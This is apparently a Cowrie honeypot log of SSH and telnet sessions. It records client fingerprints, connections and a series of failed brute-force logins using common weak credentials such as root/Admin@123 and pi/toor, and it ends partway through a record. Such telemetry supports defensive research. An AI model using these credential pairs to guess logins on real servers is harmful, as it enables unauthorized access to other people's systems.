{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.352180Z","src_ip":"27.71.230.31","session":"0529b385b36b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.417852Z","src_ip":"91.92.40.36","session":"4e2f72c7f52e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.420718Z","src_ip":"91.92.40.36","session":"4e2f72c7f52e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42848,"dst_ip":"159.203.135.109","dst_port":22,"session":"a162bd04fcf2","protocol":"ssh","message":"New connection: 80.66.85.226:42848 (159.203.135.109:22) [session: a162bd04fcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.830807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.834662Z","src_ip":"80.66.85.226","session":"a162bd04fcf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.924267Z","src_ip":"80.66.85.226","session":"a162bd04fcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma123456","message":"login attempt [root/roma123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:39.192863Z","src_ip":"80.66.85.226","session":"a162bd04fcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:39.263100Z","src_ip":"91.92.40.36","session":"f8d5778ef5ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:40.284025Z","src_ip":"80.66.85.226","session":"a162bd04fcf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":58048,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a957b69ee2","protocol":"ssh","message":"New connection: 73.36.177.174:58048 (10.17.0.5:22) [session: 86a957b69ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:40.331649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:40.340214Z","src_ip":"73.36.177.174","session":"86a957b69ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:40.385373Z","src_ip":"73.36.177.174","session":"86a957b69ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password_1234","message":"login attempt [root/Password_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:40.432669Z","src_ip":"27.71.230.31","session":"0529b385b36b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpass","message":"login attempt [test/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:40.601061Z","src_ip":"73.36.177.174","session":"86a957b69ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:41.644094Z","src_ip":"73.36.177.174","session":"86a957b69ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:41.708520Z","src_ip":"27.71.230.31","session":"0529b385b36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:42.423856Z","src_ip":"91.92.40.36","session":"f8d5778ef5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46016,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9fcf5bd6157","protocol":"ssh","message":"New connection: 91.92.40.36:46016 (10.17.0.5:22) [session: f9fcf5bd6157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:43.575948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:44.111318Z","src_ip":"91.92.40.36","session":"f9fcf5bd6157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":56824,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1dbc8673846","protocol":"ssh","message":"New connection: 150.136.214.177:56824 (10.17.0.5:22) [session: f1dbc8673846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:45.068477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:45.072915Z","src_ip":"150.136.214.177","session":"f1dbc8673846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:45.098657Z","src_ip":"150.136.214.177","session":"f1dbc8673846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lt123456","message":"login attempt [root/Lt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:45.243371Z","src_ip":"150.136.214.177","session":"f1dbc8673846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:46.036810Z","src_ip":"91.92.40.36","session":"f9fcf5bd6157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:46.283759Z","src_ip":"150.136.214.177","session":"f1dbc8673846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:48.430014Z","src_ip":"91.92.40.36","session":"4e2f72c7f52e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46400,"dst_ip":"10.17.0.5","dst_port":22,"session":"8624ae260cc0","protocol":"ssh","message":"New connection: 91.92.40.36:46400 (10.17.0.5:22) [session: 8624ae260cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:48.673107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:50.392884Z","src_ip":"91.92.40.36","session":"8624ae260cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:50.396800Z","src_ip":"91.92.40.36","session":"8624ae260cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:51.740458Z","src_ip":"91.92.40.36","session":"4e2f72c7f52e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38930,"dst_ip":"159.203.135.109","dst_port":22,"session":"c10fa941c9f0","protocol":"ssh","message":"New connection: 103.27.238.114:38930 (159.203.135.109:22) [session: c10fa941c9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:52.019514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:52.024840Z","src_ip":"103.27.238.114","session":"c10fa941c9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:52.284808Z","src_ip":"103.27.238.114","session":"c10fa941c9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solitude","message":"login attempt [root/solitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:53.064782Z","src_ip":"103.27.238.114","session":"c10fa941c9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:53.296495Z","src_ip":"91.92.40.36","session":"f9fcf5bd6157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:54.328495Z","src_ip":"103.27.238.114","session":"c10fa941c9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:56.544059Z","src_ip":"91.92.40.36","session":"f9fcf5bd6157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:56.571769Z","src_ip":"91.92.40.36","session":"8624ae260cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.84530305862427,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:58.098696Z","src_ip":"69.6.249.0","session":"8374b184bf7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37382,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab3223c5f9f","protocol":"ssh","message":"New connection: 91.92.40.36:37382 (10.17.0.5:22) [session: 6ab3223c5f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:59.654672Z"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:59.758429Z","src_ip":"91.92.40.36","session":"8624ae260cc0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:00.710364Z","src_ip":"91.92.40.36","session":"6ab3223c5f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac